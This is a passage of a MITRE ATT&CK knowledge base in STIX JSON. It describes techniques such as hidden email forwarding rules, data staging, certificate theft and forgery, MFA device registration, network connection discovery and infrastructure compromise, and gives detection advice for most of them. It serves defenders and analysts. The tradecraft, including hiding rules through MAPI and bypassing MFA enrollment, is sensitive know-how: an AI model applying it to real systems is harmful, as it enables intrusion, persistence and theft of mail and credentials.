            "id": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0",
            "created": "2020-02-19T18:54:47.103Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1114/003",
                    "external_id": "T1114.003"
                },
                {
                    "source_name": "Mac Forwarding Rules",
                    "description": "Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021.",
                    "url": "https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac"
                },
                {
                    "source_name": "Pfammatter - Hidden Inbox Rules",
                    "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.",
                    "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/"
                },
                {
                    "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2",
                    "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.",
                    "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"
                },
                {
                    "source_name": "Microsoft Mail Flow Rules 2023",
                    "description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.",
                    "url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules"
                },
                {
                    "source_name": "US-CERT TA18-068A 2018",
                    "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:26:55.201Z",
            "name": "Email Forwarding Rule",
            "description": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)\n\nIn some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Microsoft Security",
                "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)",
                "Liran Ravich, CardinalOps",
                "Arun Seelagan, CISA"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux",
                "Office Suite"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Application Log: Application Log Content",
                "Cloud Service: Cloud Service Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e",
            "created": "2017-05-31T21:30:58.938Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1074",
                    "external_id": "T1074"
                },
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
                },
                {
                    "source_name": "PWC Cloud Hopper April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
                    "url": "https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:45.225Z",
            "name": "Data Staged",
            "description": "Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nAdversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Praetorian",
                "Shane Tully, @securitygypsy"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nConsider monitoring accesses and modifications to storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "File: File Access",
                "File: File Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331",
            "created": "2022-08-03T03:20:58.955Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1649",
                    "external_id": "T1649"
                },
                {
                    "source_name": "GitHub GhostPack Certificates",
                    "description": "HarmJ0y. (2018, August 22). SharpDPAPI - Certificates. Retrieved August 2, 2022.",
                    "url": "https://github.com/GhostPack/SharpDPAPI#certificates"
                },
                {
                    "source_name": "Microsoft AD CS Overview",
                    "description": "Microsoft. (2016, August 31). Active Directory Certificate Services Overview. Retrieved August 2, 2022.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)"
                },
                {
                    "source_name": "Medium Certified Pre Owned",
                    "description": "Schroeder, W. (2021, June 17). Certified Pre-Owned. Retrieved August 2, 2022.",
                    "url": "https://posts.specterops.io/certified-pre-owned-d95910965cd2"
                },
                {
                    "source_name": "SpecterOps Certified Pre Owned",
                    "description": "Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.",
                    "url": "https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf"
                },
                {
                    "source_name": "O365 Blog Azure AD Device IDs",
                    "description": "Syynimaa, N. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved August 3, 2022.",
                    "url": "https://o365blog.com/post/deviceidentity/"
                },
                {
                    "source_name": "GitHub CertStealer",
                    "description": "TheWover. (2021, April 21). CertStealer. Retrieved August 2, 2022.",
                    "url": "https://github.com/TheWover/CertStealer"
                },
                {
                    "source_name": "APT29 Deep Look at Credential Roaming",
                    "description": "Thibault Van Geluwe De Berlaere. (2022, November 8). They See Me Roaming: Following APT29 by Taking a Deeper Look at Windows Credential Roaming. Retrieved November 9, 2022.",
                    "url": "https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:12:50.646Z",
            "name": "Steal or Forge Authentication Certificates",
            "description": "Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)\n\nAuthentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate\u2019s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate\u2019s subject alternative name (SAN) values define the certificate owner\u2019s alternate names.(Citation: Medium Certified Pre Owned)\n\nAbusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.\n\nAdversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as \u201cgolden\u201d certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Tristan Bennett, Seamless Intelligence",
                "Lee Christensen, SpecterOps",
                "Thirumalai Natarajan, Mandiant"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_data_sources": [
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                "Active Directory: Active Directory Object Modification",
                "Windows Registry: Windows Registry Key Access",
                "File: File Access",
                "Logon Session: Logon Session Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215",
            "created": "2022-03-04T18:30:38.989Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1098/005",
                    "external_id": "T1098.005"
                },
                {
                    "source_name": "CISA MFA PrintNightmare",
                    "description": "Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved March 16, 2022.",
                    "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a"
                },
                {
                    "source_name": "Mandiant APT29 Microsoft 365 2022",
                    "description": "Douglas Bienstock. (2022, August 18). You Can\u2019t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"
                },
                {
                    "source_name": "AADInternals - Conditional Access Bypass",
                    "description": "Dr. Nestori Syynimaa. (2020, September 6). Bypassing conditional access by faking device compliance. Retrieved March 4, 2022.",
                    "url": "https://o365blog.com/post/mdm"
                },
                {
                    "source_name": "AADInternals - BPRT",
                    "description": "Dr. Nestori Syynimaa. (2021, January 31). BPRT unleashed: Joining multiple devices to Azure AD and Intune. Retrieved March 4, 2022.",
                    "url": "https://o365blog.com/post/bprt/"
                },
                {
                    "source_name": "AADInternals - Device Registration",
                    "description": "Dr. Nestori Syynimaa. (2021, March 3). Deep-dive to Azure AD device join. Retrieved March 9, 2022.",
                    "url": "https://o365blog.com/post/devices/"
                },
                {
                    "source_name": "DarkReading FireEye SolarWinds",
                    "description": "Kelly Jackson Higgins. (2021, January 7). FireEye's Mandia: 'Severity-Zero Alert' Led to Discovery of SolarWinds Attack. Retrieved April 18, 2022.",
                    "url": "https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack"
                },
                {
                    "source_name": "Microsoft - Device Registration",
                    "description": "Microsoft 365 Defender Threat Intelligence Team. (2022, January 26). Evolved phishing: Device registration trick adds to phishers\u2019 toolbox for victims without MFA. Retrieved March 4, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa"
                },
                {
                    "source_name": "Microsoft DEV-0537",
                    "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:17:39.860Z",
            "name": "Device Registration",
            "description": "Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly, an adversary with existing access to a network may register a device to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Pawel Partyka, Microsoft 365 Defender",
                "Mike Moran",
                "Joe Gumke, U.S. Bank",
                "Arad Inbar, Fidelis Security",
                "Arun Seelagan, CISA"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Active Directory: Active Directory Object Creation",
                "User Account: User Account Modification"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "created": "2017-05-31T21:30:45.139Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1049",
                    "external_id": "T1049"
                },
                {
                    "source_name": "Amazon AWS VPC Guide",
                    "description": "Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019.",
                    "url": "https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html"
                },
                {
                    "source_name": "Microsoft Azure Virtual Network Overview",
                    "description": "Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). What is Azure Virtual Network?. Retrieved October 6, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview"
                },
                {
                    "source_name": "Google VPC Overview",
                    "description": "Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019.",
                    "url": "https://cloud.google.com/vpc/docs/vpc"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                },
                {
                    "source_name": "Sygnia ESXi Ransomware 2025",
                    "description": "Zhongyuan Hau (Aaron), Ren Jie Yow, and Yoav Mazor. (2025, January 21). ESXi Ransomware Attacks: Stealthy Persistence through. Retrieved March 27, 2025.",
                    "url": "https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:45.496Z",
            "name": "System Network Connections Discovery",
            "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to \"net session\". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used (e.g. <code>show ip sockets</code>, <code>show tcp brief</code>).(Citation: US-CERT-TA18-106A) On ESXi servers, the command `esxi network ip connection list` can be used to list active network connections.(Citation: Sygnia ESXi Ransomware 2025)",
            "kill_chain_phases": [
                {
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                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather system and network information with built-in features native to the network device platform.  Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "IaaS",
                "Linux",
                "macOS",
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            "x_mitre_version": "2.5",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Process: Process Creation",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9",
            "created": "2020-10-01T00:36:30.759Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1584",
                    "external_id": "T1584"
                },
                {
                    "source_name": "amnesty_nso_pegasus",
                    "description": "Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group\u2019s Pegasus. Retrieved February 22, 2022.",
                    "url": "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/"
                },
                {
                    "source_name": "Sysdig Proxyjacking",
                    "description": "Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.",
                    "url": "https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/"
                },
                {
                    "source_name": "FireEye DNS Hijack 2019",
                    "description": "Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html"
                },
                {
                    "source_name": "ICANNDomainNameHijacking",
                    "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved November 17, 2024.",
                    "url": "https://www.icann.org/en/ssac/registration-services/documents/sac-007-domain-name-hijacking-incidents-threats-risks-and-remediation-12-07-2005-en"
                },
                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
                },
                {
                    "source_name": "Nearest Neighbor Volexity",
                    "description": "Koessel, Sean. Adair, Steven. Lancaster, Tom. (2024, November 22). The Nearest Neighbor Attack: How A Russian APT Weaponized Nearby Wi-Fi Networks for Covert Access. Retrieved February 25, 2025.",
                    "url": "https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                },
                {
                    "source_name": "Talos DNSpionage Nov 2018",
                    "description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.",
                    "url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html"
                },
                {
                    "source_name": "NSA NCSC Turla OilRig",
                    "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.",
                    "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf"
                },
                {
                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                },
                {
                    "source_name": "FireEye EPS Awakens Part 2",
                    "description": "Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.",
                    "url": "https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:45.612Z",
            "name": "Compromise Infrastructure",
            "description": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) Adversaries may also compromise numerous machines to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services or to form a botnet.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking) Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) via [Wi-Fi Networks](https://attack.mitre.org/techniques/T1669).(Citation: Nearest Neighbor Volexity)\n\nBy using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)",
            "kill_chain_phases": [
                {
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                    "phase_name": "resource-development"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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                "Menachem Goldstein",
                "Cian Heasley",
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            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. \n\nOnce adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
